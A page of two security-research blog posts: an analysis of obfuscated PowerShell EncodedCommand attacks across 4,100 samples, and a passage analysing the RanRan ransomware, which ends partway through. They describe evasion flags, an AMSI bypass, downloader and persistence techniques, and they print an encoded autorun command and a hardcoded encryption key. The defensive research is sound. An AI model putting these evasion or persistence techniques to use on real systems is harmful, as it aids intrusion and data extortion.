Pulling Back the Curtains on EncodedCommand PowerShell Attacks

Posted on by Jeff White

A note to readers: The code samples included within this blog post may trigger alerts from your security software. Please note that this does not indicate an infection or an attack; rather, it is a notification that the code could be malicious if it were live.

PowerShell has continued to gain in popularity over the past few years as the framework continues to mature, so it’s no surprise we’re seeing it in more attacks. PowerShell offers attackers a wide range of capabilities natively on the system and with a quick look at the landscape of malicious PowerShell tools flooding out; you have a decent indicator of its growth.

Microsoft has done a fantastic job in later versions of PowerShell by giving multiple ways to log PowerShell activity (Transcription, ScriptBlock, etc) so there has been a shift to try and further obfuscate attacks at runtime.

Enter stage left - the PowerShell ‘-EncodedCommand’ parameter!

As shown above from the PowerShell Help output, it’s a command intended to take complex strings that may otherwise cause issues for the command-line and wrap them up for PowerShell to execute. By masking the “malicious” part of your command from prying eyes you can avoid strings that may tip-off the defense.

The purpose of this blog will be two-fold. First, in the “Analysis Overview”, I will be analyzing 4,100 recent samples identified within Palo Alto Networks AutoFocus that employ this EncodedCommand technique to see how PowerShell is being used and what techniques are being used in the wild for PowerShell attacks. Second, I will be using this blog to catalog the PowerShell code with examples of each decoded sample to aide in future identification or research.

Analysis Overview

To perform this analysis, I needed to first identify samples that were using this technique. Because PowerShell gives you a lot of flexibility when it comes to calling different parameters, identifying samples isn’t as straightforward as one might expect.

Below are three examples of different ways the EncodedCommand parameter can be called:

  1. Fully spelled out:
    powershell.exe –EncodedCommand ZQBjAGgAbwAgACIARABvAHIAbwB0AGgAeQAiAA==
  2. Truncated with alternate capitalization:
    powershell.exe –eNco ZQBjAGgAbwAgACIAVwBpAHoAYQByAGQAIgA=
  3. Using caret escape-character injection to break-up the string:
    powershell.exe –^e^C^ ZQBjAGgAbwAgACIAVwBpAHQAYwBoACIA

There are well over 100,000 variations possible by using combinations of these methods for the “EncodedCommand” parameter alone. Keeping that in mind, I came up with the below regex that gave decent coverage to the possible variants and could easily be applied to a huge corpus of dynamic analysis reports.

This allows for extraction of lines like the below at scale for further analysis.

Now, it’s no surprise but the majority of the encoded data is clearly generated from templates and public tools - attackers aren’t re-inventing the wheel every time they need to run shellcode or download another malicious file.  This is evidenced by the fact that the underlying code is almost identical with just slight adjustments to download locations and the like. To try and perform analysis on the data then, I needed to try and identify the code and attempt to determine what generated the code, or at minimum, attempt to cluster the code into like-buckets.

Profiling Approach

To illustrate some of the difficulties involved with this, back in 2012 Matthew Graeber published a blog post about a PowerShell script he put together that could load shellcode into memory and execute it. This script has been the cornerstone template for this technique, being used in most public tools that seek to use this functionality.

Following are two iterations of the technique from TrustedSec tools Social-Engineer Toolkit (SET) and Magic Unicorn. If you compare the two samples, you’ll see that SET uses “$c” whereas Magic Unicorn uses “$nLR” for the initial variable. Similarly, the “$size” variable in SET is “$g” in Magic Unicorn, the “$sc” variable is “$z”, and finally the “$x” variable is “$kuss”.

SET

Magic Unicorn

In Magic Unicorn, there is a line within the generating script that randomizes some variables. Below is an excerpt showing how this works.

This simply replaces some variables with a string of 3-4 random alphanumeric characters; however, not all variables get replaced so the combination of the random string with known anchors allows me to theorize how it was generated. Alternatively, I can also see when it looks like this particular piece of code was copied into another tool without the randomization part of the Magic Unicorn script as the variables don’t change or was further built upon by adding additional randomization.

It’s not an exact science and, when dealing with code that has been heavily re-used over many years by many different people, you’re bound to run into scenarios where the code just doesn’t lend itself well to profiling. I’ve attempted to classify it as accurately as possible but a word of caution - take the specific names with a grain of salt throughout this analysis as nothing is stopping someone simply copying and pasting the code into their own tool.

In total, I profiled 27 clusters of public tools or capabilities, which had unique identifiers to separate them apart from the rest. I’ll get into each of them later as I catalog each variant but, for now, the below table offers a breakdown of the variants, how many samples matched, and the overall percentage it accounted for in the sample set.

 

Variant Count % of Total
Downloader DFSP 1,373 33.49%
Shellcode Inject 1,147 27.98%
Unicorn 611 14.90%
PowerShell Empire 293 7.15%
SET 199 4.85%
Unknown 104 2.54%
Powerfun Reverse 100 2.44%
Downloader DFSP 2X 81 1.98%
Downloader DFSP DPL 24 0.59%
Downloader IEXDS 19 0.46%
PowerWorm 19 0.46%
Unicorn Modified 14 0.34%
Scheduled Task COM 11 0.27%
BITSTransfer 11 0.27%
VB Task 10 0.24%
TXT C2 10 0.24%
Downloader Proxy 9 0.22%
AMSI Bypass 8 0.20%
Veil Stream 7 0.17%
Meterpreter RHTTP 6 0.15%
DynAmite Launcher 6 0.15%
Downloader Kraken 5 0.12%
AppLocker Bypass 4 0.10%
PowerSploit GTS 3 0.07%
Powerfun Bind 2 0.05%
Remove AV 2 0.05%
DynAmite KL 1 0.02%

 

Over half of the samples analyzed utilized either a generic “DownloadFile-StartProcess” technique or a variant of the shellcode injection technique shown previously.

General Distribution / Stats

Across the 4,100 samples, there were 4 file formats seen.

File Format Count % of Total
"exe" 2,154 52.54%
"doc" 1,717 41.88%
"xls" 228 5.56%
"dll" 1 0.02%

 

EXE and DOC format account for the majority of extensions used across this sample set. Looking further at the DOC files, 77% of them, 1,326, matched the “Downloader DFSP” variant, which defines a generic downloader using the DownloadFile-StartProcess method as shown below.

Pivoting from there, 1,159 of the DOC files (87%) match known patterns for Cerber ransomware; the implication is that a tool is being used to generate the malicious Microsoft Word Documents that create the macro which launches PowerShell with this technique as the template.

The primary method of delivery across the DOC samples is SMTP/POP3, which aligns with the status quo of delivering ransomware by using malicious Microsoft Word Documents via e-mail campaigns.

fig1

Figure 1 Applications used to deliver malicious Powershell Word Documents

Looking at the target industries also shows a fairly even distribution throughout Higher Education, High Tech, Professional and Legal Services, and Healthcare.

fig2

Figure 2 Breakdown of Industries detecting malicious Powershell Word Documents

A quick look at the distribution over time also shows a number of large spikes that, again, aligns with the standard operating procedure of e-mail campaigns.

fig3

Figure 3 Number of malicious Powershell Word Documents captured in AutoFocus over the last 12 months

Looking at how the EXE samples were classified, nothing stands out as being dominant in terms of a group or malware family; however, interestingly enough there seems to be a preference for targeting companies in the High Tech industry.

fig4

Figure 4 Breakdown of Industries detecting malicious Executables using Powershell

The distribution over time is also fairly even in comparison to the DOC sample distribution over time.

fig5

Figure 5 Number of malicious Executables using Powershell captured in AutoFocus over the last 12 months

One possible explanation for this is a variation is distribution. For example, while DOC samples were primarily seen as attachments to e-mail, EXE samples were usually delivered through Web Browsing.

The last item I’ll touch on before diving into the commands themselves is the one DLL file that was detected using the EncodedCommand technique. This DLL contains no exports but when called with the DLLMain entry point will simply launch a PowerShell Empire stager which downloads an XOR’d script from a website and then uses PowerShell’s Invoke-Expression cmdlet to run the downloaded script. This sample was related to the Odinaff family that Symantec blogged about in October 2016.

Pre-Analysis Data / Stats

Before looking at the base64 encoded data, I looked at how each process was launched. This frequency analysis and inspection gives some insight into what additional parameters are being used alongside EncodedCommand.

EncodedCommand: (4,100 Samples – 100% Coverage)

Used to pass a base64 encoded string to PowerShell for execution.

Flag Count % of Total
"-enc" 3,407 83.29%
"-Enc" 412 10.05%
"-EncodedCommand" 229 5.59%
"-encodedcommand" 40 0.98%
"-encodedCommand" 7 0.17%
"-ec" 3 0.07%
"-en" 1 0.02%
"-ENC" 1 0.02%

 

WindowStyle Hidden: (2,083 Samples – 50.8% Coverage)

Used to prevent PowerShell from displaying a window when it executes code. The most used variant “-window hidden” is due to the PowerShell command that the previously mentioned Microsoft Word Documents distributing Cerber are using.

Flag Count % of Total
"-window hidden" 1,267 30.90%
"-W Hidden" 315 7.68%
"-w hidden" 159 3.88%
"-windowstyle hidden" 125 3.05%
"-win hidden" 67 1.63%
"-WindowStyle Hidden" 45 1.10%
"-win Hidden" 42 1.02%
"-wind hidden" 40 0.98%
"-WindowStyle hidden" 5 0.12%
"-WindowStyle hiddeN" 5 0.12%
"-windows hidden" 4 0.10%
"-Win Hidden" 3 0.07%
"-win hid" 2 0.05%
"-Window hidden" 2 0.05%
"-Wind Hidden" 1 0.02%
"-Win hidden" 1 0.02%

 

NonInteractive: (1,405 Samples – 42.4% Coverage)

Used to prevent creating an interactive prompt for the user. Used in combination with WindowStyle Hidden to hide signs of execution. For the “-noni” variation, 76% were the generic shellcode injection code and SET, whereas “-NonI” was PowerShell Empire.

Flag Count % of Total
"-noni" 1,042 25.41%
"-NonI" 331 8.07%
"-noninteractive" 27 0.66%
"-NonInteractive" 4 0.10%
"-nonI" 1 0.02%

 

NoProfile: (1,350 Samples – 32.9% Coverage)

Prevents PowerShell from loading profile scripts, which get executed on launch, so as to avoid potentially unwanted commands or settings. Similar to the breakdown for NonInteractive, “-nop” is primarily SET and the generic shellcode injection while “-NoP” is PowerShell Empire.

Flag Count % of Total
"-nop" 955 23.29%
"-NoP" 332 8.10%
"-noprofile" 57 1.39%
"-NoProfile" 5 0.12%
"-noP" 1 0.02%

 

ExecutionPolicy ByPass: (453 Samples – 11% Coverage)

Bypasses the default PowerShell script execution policy (Restricted) and will not block the execution of any scripts or create any prompts. It’s interesting to note that the code executed within EncodedCommand parameter does not apply to the execution policy.

Flag Count % of Total
"-ep bypass" 128 3.12%
"-exec bypass" 80 1.95%
"-executionpolicy bypass" 78 1.90%
"-Exec Bypass" 73 1.78%
"-ExecutionPolicy ByPass" 42 1.02%
"-ExecutionPolicy bypass" 26 0.63%
"-Exec ByPass" 9 0.22%
"-ExecutionPolicy Bypass" 5 0.12%
"-ExecuTionPolicy ByPasS" 4 0.10%
"-exe byPass" 2 0.05%
"-ep Bypass" 2 0.05%
"-ExecutionPolicy BypasS" 2 0.05%
"-Exe ByPass" 2 0.05%

 

Sta: (219 Samples - 5.3% Coverage)

Uses single-threaded apartment (now default as of PowerShell 3.0). This parameter was almost exclusively used in PowerShell Empire.

Flag Count % of Total
"-sta"  219  5.34%

 

NoExit: (23 Samples - 0.5% Coverage)

Prevents PowerShell from exiting after running the startup commands. This was exclusively used by the PowerWorm malware and was the only parameter used beside EncodedCommand.

Flag Count % of Total
"-noexit"  23  0.56%

 

ExecutionPolicy Hidden (5 Samples - 0.12% Coverage)

This actually isn’t a valid policy so PowerShell just ignores it. Every usage of it is related to a script I labeled “TXT C2”, which attempts to load a DNS TXT Record containing another PowerShell script, similar to PowerWorm. Most likely, the attacker meant to use ByPass here as they already have “-w hidden” later in their command.

Flag Count % of Total
"-ep hidden"  5  0.12%

 

NoLogo: (33 Samples - 0.8% Coverage)

Hides the copyright banner when PowerShell launches.

Flag Count % of Total
"-Nol" 10 0.24%
"-NoL" 10 0.24%
"-nologo" 9 0.22%
"-nol" 4 0.10%

 

ExecutionPolicy Unrestricted (1 Samples – 0.02% Coverage)

Similar to ByPass, but will warn the user before running unsigned scripts downloaded from the Internet. The underlying lone script that used this parameter tries to execute a script downloaded from the Internet, which should generate a warning.

Flag Count % of Total
"-ExecutionPolicy Unrestricted"  1  0.02%

 

Command (1 Samples – 0.02% Coverage)

Executes a command that follows the parameter as if they were typed at the PowerShell prompt. I only saw one instance of this and it was tied directly to a piece of malware that FireEye included in a blog about evading signature-based detections. The PowerShell code is included in the “Comments” field of a DOCM file and launched from a macro inside a Microsoft Word document. Below is the code in question that chains together multiple commands to perform an FTP transfer and subsequent NetCat connection.

Flag Count % of Total
"-c"  1  0.02%

 

Finally, I’ll end the parameter analysis by looking briefly at the top 10 combinations seen throughout this sample set.

Flag Combination Count % of Total
"-window hidden -enc" 1,242 30.29%
"-enc" 986 24.04%
"-nop -noni -enc" 736 17.95%
"-NoP -sta -NonI -W Hidden -Enc" 206 5.02%
"-EncodedCommand" 169 4.12%
"-ep bypass -noni -w hidden -enc" 102 2.48%
"-NoP -NonI -W Hidden -Enc" 60 1.46%
"-nop  -win hidden -noni -enc" 57 1.39%
"-executionpolicy bypass -windowstyle hidden -enc" 51 1.24%
"-nop -exec bypass -win Hidden -noni -enc" 41 1.00%

 

Even accounting for changes in case, the results only increase by a handful of samples in each category.

While doing the research to try and identify unique signatures for identification, I found multiple examples of the below, wherein the code author changes the parameters for a newer version of their tool.

fig6

Figure 6 Code Author Modified parameters between versions of a tool

This reduces the overall aggregate count for those families but I don’t believe it has much impact on the totals. In my review of the tools, authors are less focused on the dynamic ordering of the parameters or potentially dynamically adjusting parameter length to further obscure their attacks; instead they add in basic capitalization randomization and focus on the “meat” of their code. This can allow for some low-fidelity profiling based on just the way the PowerShell command is launched.

In addition, the top three combinations, which account for 72% of all combinations, are predominately straightforward and focused on just running code versus any clever attempts at further hiding their attacks from the user.

Post-Analysis Data / Stats

Next I’ll go over each of the identified variants and review their functionality. For each one that downloads a file or script, I’ll include the observed IP/Domain/URL at the end of this blog. Some of these may be malicious, some of them may be pentesters, and some of them may be people doing random testing of new techniques; unfortunately, it’s not usually possible to infer intention when doing bulk analysis but the data is provided for the reader to use as they see fit.

Downloaders

PowerShell code identified with the primary intention of downloading and running a secondary payload or executing PowerShell code obtained remotely.

Downloader DFSP (1,373 Samples - 33.49% Coverage)

This is a quintessential example of using PowerShell to download and run a file. It’s basically verbatim of the results you get when using Google to search for ways to download and run a file. As such, I’ve used the below template as a generic classification for the base64 encoded data that acts as a simple downloader for the true payload.

As was previously pointed out, almost all of the detections matching this category were linked back to the Microsoft Word documents launching this PowerShell command via a macro to download Cerber. One unique pattern observed in this sample was the usage of environment variables, in addition to their URI pattern.

Downloader for Cerber –

PowerShell Empire (293 Samples – 7.15% Coverage)

For this next one, the samples are using PowerShell Empire’s EncryptedScriptDropper to download a script remotely and decrypt it with an embedded XOR key.

In this example, the XOR key is “0192023a7bbd73250516f069df18b500” and the pulled down script, once decoded with that key, is the PowerShell Empire agent stager script that will POST system information to the C2 server and then download the encrypted Stage 1 Empire payload.

Downloader DFSP 2X (81 Samples - 1.98% Coverage)

This is the same as the previous downloader but it launches yet another instance of PowerShell to carry out the download. These were all linked to the Cerber downloader documents as well.

Downloader DFSP DPL (24 Samples - 0.59% Coverage)

Another downloader using the DownloadFile -> Start-Process technique that had two different variations within the sample set. A number of these samples matched behaviors related to Bartalex and may be indicative of changes to this well-known Office Macro generator.

Unabridged –

Abridged –

Downloader IEXDS (19 Samples – 0.46% Coverage)

This is another spin on a downloader that frequently pops-up when searching for methods to download and execute scripts for PowerShell. Effectively, the code simply downloads a PowerShell script remotely and executes it with Invoke-Expression. The resulting payloads can be quite different from one another and didn’t seem related.

The following two samples download an “Invoke-TwitterBot” script, which is “A Trojan bot controlled by a twitter account that was released at ShmooCon IX”.

BITSTransfer (11 Samples – 0.27% Coverage)

Another mechanism for downloading malware via PowerShell is through the BitsTransfer module. Background Intelligent Transfer Service (BITS) isn’t as frequently seen in downloading malware but offers similar functionality to other known transfer services, such as HTTP. Using this different method may allow attackers to avoid certain monitoring and take advantage of the fact that BITS will throttle transfers to not impact other bandwidth usage.

In my previous blog, I noted that a variant of the Cerber downloader was seen using BITS for a brief period of time and 10 out of these 11 samples were Microsoft Word documents leading to Cerber.

TXT C2 (10 Samples – 0.24% Coverage)

For this next one, the attacker uses PowerShell to make a DNS query for the TXT record of a domain. The TXT record contains another PowerShell script that is then passed to Invoke-Expression to execute.

Looking at the script which is returned shows that once this initial look-up occurs, it will set itself into a constant loop continuing to query for the TXT record of the domain and base64 decoding then executing the result.

This allows the attacker to establish a command and control channel when they are ready to interact with the compromised system.

John Lambert over at Microsoft recently tweeted about this variant and identified it as being used during penetration testing. Another example of the technique can be found in the Nishang framework for penetration testing.

Downloader Proxy (9 Samples – 0.22% Coverage)

This variant will explicitly use the configured proxy and credentials for the user running the PowerShell command. Of note for this one is the passing of the username as a value to the “u” parameter in the web request. This is a common “check-in” activity so the attacker knows whom they have infected; it can be used to further handle how subsequent interactions take place (e.g. block further connections if known sandbox username).

Meterpreter RHTTP (6 Samples – 0.15% Coverage)

This next technique simply pulls down the Invoke-Shellcode script used in tools such as PowerShell Empire and PowerSploit, and then calls the function to generate a reverse HTTPS Meterpreter shell.

All but one of the samples pulled code from GitHub, either directly through the official repository or through a forked version.

GitHub –

Non-GitHub –

Downloader Kraken (5 Samples – 0.12% Coverage)

I called this one “Kraken” simply because of the filename of the executable it downloads, (“Kraken.jpg”), but it uses a similar download technique as seen in Downloader DFSP. One difference is that instead of using the “$env” variable directly, it uses System.IO.Path to retrieve the path for the $TEMP directory.

AppLocker Bypass (4 Samples – 0.12% Coverage)

This next technique uses PowerShell to run the regsvr32 tool to bypass Microsoft Windows AppLocker. This technique was found by Casey Smith (@subTee) and abuses the fact that scripts are executed when unregistering a COM object via regsvr32.

Embedded Payloads

PowerShell code identified with the primary intention of launching embedded payloads, such as shellcode.

Shellcode Inject (1,147 Samples – 27.98% Coverage),

Unicorn (611 Samples – 14.90% Coverage),

SET (199 Samples – 4.85% Coverage),

Unicorn Modified (14 Samples – 0.34% Coverage)

As I already showed examples of SET and Magic Unicorn’s implementation of the Shellcode Injection technique, I’ve decided to just lump all of the variants together using this shellcode injection template. Below is a sample from the “Shellcode Inject” variant, which is a copy of Matt Graeber’s original post, and you’ll immediately see the similarities with the SET and Magic Unicorn code.

While the Cerber downloader accounted for a large sum of the EncodedCommand found in Microsoft Word documents, these four variants use the same technique accounting for almost the entirety launched from EXE files.

The gist of the code is that they import functions from DLL’s in the following order:

  • “kernel32.dll” VirtualAlloc
  • “kernel32.dll” CreateThread
  • “msvcrt.dll” memset

Then they load their shellcode into an array of bytes using the “0x” hex representation. Next, they call VirtualAlloc to allocate, at minimum, a 4,096 byte page of RWX memory, copy the byte-array to memory with memset, and finally transfer execution to the shellcode with CreateThread.

Out of the 1,971 samples, there were 1,211 unique shellcode payloads, indicating that over 50% of them were re-used in other attacks. Most of these tools utilize Metasploit to generate the shellcode and if they don’t accept specifying a payload, generally opted for reverse Meterpreter shells. For example, the below line is from the Magic Unicorn’s code showing how to specify the MSF payload.

The underlying code for the generation of the payload, including platform, architecture, and encoding:

Another interesting observation is that if you look at the shellcode length, the top 2 lengths were 294 and 312 bytes long, with 846 and 544 samples respectively; afterwards the sample counts fall off sharply.

Shellcode Length (Bytes) Count
294 846
312 544
337 145
303 131
285 46

 

What makes this interesting is the sheer volume of identical lengths signals to me that they are likely generating the same payload with the same tools and using something without much possible variation in length, such as a 4-byte IP compared to a variable length URL as the C2.

As this blog serves to catalog the differences between these variants, below are regex queries to identify the specific variant.

Shellcode Inject

Unicorn

SET

Unicorn Modified

Powerfun Reverse (100 Samples – 2.44% Coverage),

Powerfun Bind (2 Samples – 0.05% Coverage)

Another variation to code execution was found inside Powerfun, more specifically they use Metasploit’s “windows/powershell_reverse_tcp” and “powershell_bind_tcp” payloads to create interactive shells with the target system. The reverse payload is encoded with base64 and launched via a background process using System.Diagnostics.Process.

Reverse payload –

The bind payload sets up a TCP listener by listening with System.Net.Sockets.TCPClient and passing received PowerShell script to Invoke-Expression.

Bind payload –

PowerWorm (19 Samples – 0.46% Coverage)

PowerWorm is a malware family that TrendMicro blogged about in 2014 which has the capability of spreading by infecting other Microsoft Office DOC(X)/XLS(X) files. The PowerShell code is obfuscated with “junk” data placed between the legitimate commands.

Cleaned-up slightly –

The code will download Tor and Polipo by fetching download URL’s for the software from DNS TXT records and then eventually use the software to continuously check for new PowerShell commands that get passed to Invoke-Expression. Matt Graeber has done an excellent job of analyzing the full capabilities of this malware and provides de-obfuscated, commented, versions of the underlying PowerShell.

Veil Stream (7 Samples – 0.17% Coverage)

This is a similar technique as described in the “Powerfun Reverse” variant. The PowerShell code is injected into memory from a base64 string and executed with Invoke-Expression that eventually launches the actual shellcode payload. The layout of the code correlates to the Veil Framework implementation.

Persistence

PowerShell code identified with the primary intention of establishing persistence on the host.

Scheduled Task COM (11 Samples – 0.27% Coverage)

This variant seeks to create a persistence mechanism by creating a Scheduled Task that runs the malicious binary. The PE file this sample comes from drops a “minecraft.exe” and then launches this PowerShell command below - most likely, as it’s easier to pass this type of functionality off to PowerShell instead of trying to write the code into the original dropper.

The technique was seen primarily is samples associated to the Retefe banking trojan.

VB Task (10 Samples – 0.24% Coverage)

This grouping of PowerShell code originally comes from a PE that executes PowerShell with the EncodedCommand, which then creates a VBScript that is installed as a Scheduled Task. The VBSript simply launches another PowerShell script once it runs to achieve this.

DynAmite Launcher (6 Samples – 0.15% Coverage),

DynAmite KL (1 Sample – 0.02% Coverage)

DynAmite is a “Malware Creation Toolkit” which comes with your standard capabilities that one comes to expect with such a tool.

dynamitekl

It does give you the ability to mix and match the features you want and generates a PE wrapper that carries out the selected tasks, usually by simply executing PowerShell commands. The majority of code that I saw generated by this kit was taken from public tools but used swapped around variable names and locations.

The “DynAmite Launcher” variant covers the persistence aspect, which is established through creating Scheduled Tasks. Below are three different iterations of this, most likely from different versions and configurations.

For the “DynAmite KL” variant, it’s the keylogger portion of the kit but directly lifts code from an older version of the PowerSploit function Get-Keystrokes. Below are the meat of the script and a comparison of the two pieces, showing how DynAmite changes the location of the variables and types.

Get-Keystrokes –

Function DynAKey –

Other Techniques

AMSI Bypass (8 Samples – 0.20% Coverage)

Antimalware Scan Interface (AMSI) is a new feature Microsoft released in Windows 10 and is designed to facilitate communication between applications and AV products. Ideally, the application (PowerShell in this context) will take the script at runtime, after it’s deobfuscated or pulled in remotely from a website, and pass it through AMSI to your AV for scanning. If the AV software determines it’s malicious, it can now block the scripts execution.

#YAOMG (Yet Another of Matt Graebers)

Matt Graeber released a one-line tweet  that shows how you can bypass AMSI by simply changing “amsiInitFailed” to “True”, which makes it appear as if it failed to load and effectively skips this check.

The code shares a similar signature to PowerShell Empire’s XOR routine for their EncryptedScriptDropper and may be related or borrowed code.

PowerSploit GTS (3 Samples – 0.07% Coverage)

This is set of samples that simply use a module from another tool, in this case, the PowerSploit Get-TimedScreenshot. The code will take a screenshot using Drawing.Bitmap every 2 seconds.

For these types of attacks, the PowerShell code is just an augmentation to the overarching suite of tools being used in the attack, likely intended to save the attacker time in developing the desired functionality. In this case, Microsoft Excel documents contained macros that first launch a function to decode the PowerShell code and begin taking screenshots while a second function is called afterwards to decode a PE file that handles the rest of the attack.

fig7

Figure 7 Excel Macro decodes embedded Powershell script and PE file.

Remove AV (2 Samples – 0.05% Coverage)

This next variant uses PowerShell to forcefully uninstall both x86 and x64 versions of an installed AV application. It iterates over entries in the Uninstall registry path to find items with “*AVG*” and then quietly uninstalls each instance.

Notable One-Offs

After identifying as many variants as possible, I was left with around 100 “Unknown” samples, which were usually custom spins on the techniques described above. I’ll end this cataloging with a quick overview of some of the more notable samples.

Hidden Messages

This sample does some basic date checking through PowerShell and compares current datetime to an included datetime, if the current datetime is past the included one, it will not run. At the end of the code though, they leave a commented call-out to, possibly, their “hacking” group.

Another example of leaving hidden messages is in the sample below.

When you analyze the code it pulls down remotely from GitHub, which at the time of this writing kills PowerShell processes, it says “Hello SOC/IR team!  :-)”. It’s possible this is just a pentest or red-team exercise given the history of the file using “Test” a lot.

fig8

Figure 8 JavaScript file kills powershell and greets SOC/IR team.

Process Killing

This is another example of using PowerShell for specific purposes in an overarching attack. It will kill a number of processes typically associated with malware analysis.

Layers of Obfuscation

For this last example, it appears to be related to the samples shown in the “PowerSploit GTS” variants, as the originating macros are almost identical, but this sample did not use any of the other pieces.

This particular sample uses multiple layers of obfuscation to carry out its attack.

Layer 1 –

A Microsoft Excel document has a macro that pulls a base64 encoded data from a cell that is passes to PowerShell’s EncodedCommand parameter when it launches.

layer1

Layer 2 –

The decoded base64 is a long array of int values that get converted to their char value, and then executed as another PowerShell script.

Layer 3 –

The decoded data uses various techniques to obfuscate itself. The first technique is injecting backtick characters between other characters, which will be ignored at runtime. This is similar to the caret injection technique from the command-line, but works within the PowerShell code instead.

It also uses a technique commonly seen in other scripting languages by breaking up a string into a randomized list and then rebuilding the original string by calling specific values.

Cleaning up the code and building the strings shows that it downloads code remotely to pass to Invoke-Expression.

Conclusion

PowerShell is a robust scripting framework that offers a lot of capabilities, both for defense and offense. Hopefully this blog has served to highlight some of the current techniques being used in tools and attacks.

Across these samples, it seems clear that the majority of attacks are still relying on public tools, which isn’t surprising. As the PowerShell framework continues to be explored and matured, I suspect we will begin to see a lot more variation in attacks coming from this space. As it stands today, PowerShell seems to be mainly used as a tool to facilitate common functions attackers are used to within other frameworks, but will eventually start to take advantage of more native features once we move out of the “transference” phase to an “innovative” phase.

Observed C2 or Download Sites

Downloader DFSP

PowerShell Empire

Downloader DFSP 2X

Downloader DFSP DPL

Downloader IEXDS

BITSTransfer

TXT C2

Downloader Proxy

Downloader Kraken

PowerWorm

AMSI Bypass

Meterpreter RHTTP

Layers of Obfuscation

SHA1 Hashtag

Additional hashes to samples can be found here.

Targeted Ransomware Attacks Middle Eastern Government Organizations for Political Purposes

Posted on by Robert Falcone

Recently, Unit 42 has observed attacks against multiple Middle Eastern government organizations using a previously unseen ransomware family. Based on embedded strings within the malware, we have named this malware ‘RanRan’. Due to the targeted nature of the ransom message delivered by the malware, and the small sample set of this malware family, we believe that this attack was targeted in nature. Our analysis shows no connections between these attacks and the recent waves of Shamoon 2 attacks.

The ransom note specifically attempts to extort a political statement by forcing the victims to create a public sub-domain with a name that would appear to advocate and incite violence against a Middle Eastern political leader.

The malware itself is fairly rudimentary and makes a number of mistakes in how files are encrypted. This allowed Unit 42 to create a script that is able to decrypt some files that were encrypted by RanRan.

RanRan Analysis

The malware author named the payload “Ran”, as seen in the following debug path within the binary:

C:\Users\pc\Desktop\Ran\Ran\Release\Services.pdb

When the malware is initially executed, it will create the following mutex:

  • Services1.0

RanRan will exit if this mutex already exists. This ensures only a single instance of RanRan executes at a time.

RanRan installs itself on the system by making a copy as “C:\services.exe”. It has the following base64 encoded string that it uses to create an autorun key on the system to execute itself each time the system boots:

TlFRICJVWFBIXEZCU0dKTkVSXFp2cGViZmJzZ1xKdmFxYmpmIEFHXFBoZWVyYWdJcmVmdmJhXEp2YXFiamYiIC9zIC9pIFlibnEgL2cgRVJUX0ZNIC9xIA==

The payload decodes this base64 string and applies a routine that either adds or subtracts 13 from each alpha character. We wrote a script to decode this string, for which  the output can be seen below:

RanRan uses this string to create a registry key, which can be seen in the following registry query:

This registry key is meant to execute “C:\services.exe” each time the system starts up.

Anti-disinfection and Limiting System Use

RanRan also attempts to make removing it to disinfect the system difficult, as it continually monitors for windows with titles that contain “task manager” and closes them, which makes killing the payload’s process difficult.

Additionally, the malware continually monitors the following services and processes and will periodically stop them.

  • MSSQLSERVER
  • SQLWriter
  • MSSQL$CONTOSO1
  • SQLServerAgent
  • MSSQL$SQLEXPRESS
  • Microsoft Exchange Information Store
  • OracleASMService+ASM
  • OracleCSService
  • OracleServiceORCL
  • OracleOraDb10g_home1TNSListener
  • usermanager
  • outlook
  • exchange
  • sql

We believe it is likely that the author chose to stop these services and processes to increase the ransomware’s chances of being able to appropriately encrypt associated database files by limiting any open handles to those files.

Main Functionality

The main purpose of RanRan is to encrypt files on the system and request a ransom from the victim to restore these files. The tool gathers a wide range of file types to encrypt based on the following file extensions:

  • .mdf
  • .ldf
  • .edb
  • .pst
  • .ost
  • .doc
  • .docx
  • .pdf
  • .xls
  • .xlsx
  • .ppt
  • .pps
  • .pptx
  • .ppsx
  • .accdb
  • .mdb
  • .zip
  • .rar
  • .txt
  • .jpg
  • .bad
  • .epf
  • .bdp
  • .efp
  • .vsd
  • .mpp
  • .xlt
  • .cmd
  • .lic
  • .me
  • .xlsm
  • .war
  • .bdr
  • .stm
  • .sdb
  • .psd
  • .eml
  • .vdw
  • .vdx
  • .tar
  • .csv
  • .max
  • .png
  • .ai
  • .dwg
  • .dxf
  • .7z
  • .c
  • .cpp
  • .bak
  • .ese
  • .ashx
  • .asmx
  • .soap
  • .svc
  • .bkf
  • .issue
  • .sql
  • .fmb
  • .olb
  • .java
  • .webm
  • .mkv
  • .flv
  • .dbf
  • .mtb
  • .asp
  • .aspx
  • .sln
  • .cs
  • .jar
  • .bmp
  • .iso
  • .resx
  • .exe
  • .tar
  • .dat
  • .rtf
  • .img
  • .gz
  • .vmdk
  • .log
  • .ace
  • .kdbx
  • .rdp
  • .psc
  • .bat
  • .cfg
  • .rmvb
  • .3gp
  • .swf
  • .ipdb
  • .db
  • .cmsc
  • .kmz
  • .edx

The files RanRan looks for includes (but is not limited to) Microsoft Office files, Adobe Acrobat files, images, web pages, SQL queries, archive and backup files.

RanRan expects the attacker to supply an RSA public key in the C:\pubkey location. If a public key is not provided, RanRan will encrypt files using the md5 hash of the string “aaoy09aaqqq@#433dd56fdfdf$Fss45*ss”.

Otherwise, a randomly generated string is written to a file named ‘C:\WINDOWS\pass’. The MD5 of this string is used as the RC4 password. A new password is generated for groups of files of the following sizes:

  • 0 – 5 MB
  • 5 – 30 MB
  • 30 – 100 MB
  • 100 – 300 MB
  • 300 – 700 MB
  • 700 – 2000 MB
  • 2000 – 3000 MB
  • 3000 MB and greater

After each successful round of encryption, the key being used for the particular group is encrypted using the supplied RSA public key and written to a file named using the following notation:

VictemKey_[lower_bound]_[upper_bound]

Where [lower_bound] is the lower file size for that particular group, and [upper_bound] is the upper file size for that particular group. This results in the following files being written after all encryption occurs:

  • VictemKey_0_5
  • VictemKey_5_30
  • VictemKey_30_100
  • VictemKey_100_300
  • VictemKey_300_700
  • VictemKey_700_2000
  • VictemKey_2000_3000
  • VictemKey_3000

During encryption, the encrypted files are then renamed to append a new file extension of “zXz” to the file. After encrypting the files, the payload will display a ransom message with a filename of zXz.html with instructions on how to get the files decrypted. The following screenshot shows the ransom message:

ranrab_1

Figure 1 RanRan ransom note

The ransom note above shows a number of interesting things. Unlike many other well-known and popular ransomware families, RanRan does not ask for direct payment. Instead, prior to any negotiations regarding payment, the victim must create a subdomain with a seemingly politically inflammatory name as well as a Ransomware.txt file hosted on this subdomain. The hosted file must include a statement of ‘Hacked’ and an email address. By performing these actions, the victim, a Middle Eastern government organization, has to generate a political statement against the leader of the country. It also forces the victim to publicly announce that they have been hacked by hosting the Ransomware.txt file.

